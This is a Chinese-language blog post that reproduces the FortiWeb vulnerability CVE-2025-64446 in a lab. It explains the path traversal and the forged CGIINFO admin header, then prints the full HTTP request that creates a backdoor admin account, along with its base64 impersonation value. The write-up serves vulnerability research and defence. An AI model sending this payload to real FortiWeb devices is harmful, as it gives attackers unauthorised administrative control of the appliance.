复现Fortinet FortiWeb高危漏洞CVE-2025-64446:路径遍历与远程代码执行的组合攻击

5 阅读3分钟

复现CVE-2025–64446:Fortinet FortiWeb中的关键漏洞

在这篇短文中,我们将复现CVE-2025–64446,这是Fortinet FortiWeb中的一个关键漏洞。该漏洞的CVSS评分为9.8(关键),影响多个FortiWeb版本,包括7.0、7.2、7.4、7.6和8.0分支。

“从根本上说,FortiWeb CVE-2025–64446漏洞存在的原因是FortiWeb的GUI API处理器在处理之前未能正确验证或清理URL路径。攻击者可以制作一个恶意的HTTP请求,滥用相对路径遍历序列来突破预期的/api/v2.0/路由路径。在易受攻击的系统中,FortiWeb的Apache配置会在解析编码字符或折叠目录遍历标记之前,将任何以/api/v2.0/开头的请求转发到后端CGI处理器。这意味着,如下所示的精心构造的请求可以直接路由到内部的fwbcgi管理组件,而不是合法的API端点。” —— Picus Security

因此,正如Defused团队在X(原Twitter)帖子中所示,我们需要调用或触发如下所示的端点。这是可能的,因为存在路径遍历漏洞。另一个重要组件是“cgi-bin/fwbcgi”。

“CGI的认证函数cgi_auth信任一个名为HTTP_CGIINFO的用户提供头部。该头部包含base64编码的JSON字段,如usernameprofnameloginname。” —— Picus Security

因此,如下面的负载所示(来自X的帖子),我们只需要添加一个名为“CGIINFO”的自定义HTTP请求头部。对于其值,我们可以对{“profname”: “prof_admin”, “vdom”: “root”, “username”: “admin”,”loginname”: “admin”}进行base64编码,以冒充管理员用户。我们不需要知道管理员的密码。

/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi

(来自Defused的X账户图片)

我们快速启动了一个Fortinet FortiWeb 8.0.0实例来尝试此漏洞利用。

(目标虚拟机运行在192.168.4.31的图片)

我们可以先在目标虚拟机上运行Nmap,检查有哪些监听端口。

(测试者在目标虚拟机上运行Nmap的图片)

我们还可以先尝试以管理员用户SSH到目标虚拟机,以在利用前检查当前的管理员用户。在FortiWeb CLI中运行“get system admin”。

(我们以管理员用户SSH到目标虚拟机后运行的命令图片)

负载 然后我们可以使用下面的负载来创建一个后门账户,这三个参数(nameaccess-profilepassword)是成功创建账户所需的最少参数。

POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <目标主机地址>
Accept-Encoding: gzip, deflate, br
Content-Length: 101
CGIINFO: eyJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJ1c2VybmFtZSI6ICJhZG1pbiIsImxvZ2lubmFtZSI6ICJhZG1pbiJ9
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

{"data":{"name":"backdooruser1","access-profile":"prof_admin","password":"backdoorpass1"}}

(显示提供给CGIINFO自定义头部的base64值的图片) (我们用于创建后门账户的负载图片)

最后,我们可以确认后门账户已成功创建。

(我们以backdooruser1用户SSH到目标虚拟机后运行的命令图片)

参考资料:

免责声明: 本博客提供的信息仅用于一般信息目的。虽然我总是力求准确,但某些细节可能不准确,提供的列表也可能不完整。尽管如此,我强烈建议在做出任何决定或采取行动之前,根据行业标准文档和官方来源(上面参考资料部分列出了一些)验证任何关键信息。此处表达的所有观点均为我个人观点,不代表我的雇主的观点或立场。 CSD0tFqvECLokhw9aBeRqtTv15RNmaHdiNZPviuVo928jJlaselhk65nWD039QZriEPK1A5gyFu0XLtW575tlrBbnW/rsV1/m+lpY3hEPCqmof5YgUCgvva1km4GQmVLA/J2t+6hp8+EtWy5cGV5eiHL72Jk4Q2ig8dS+OCcV8VXkciIiKrns9h5MXAJe7G0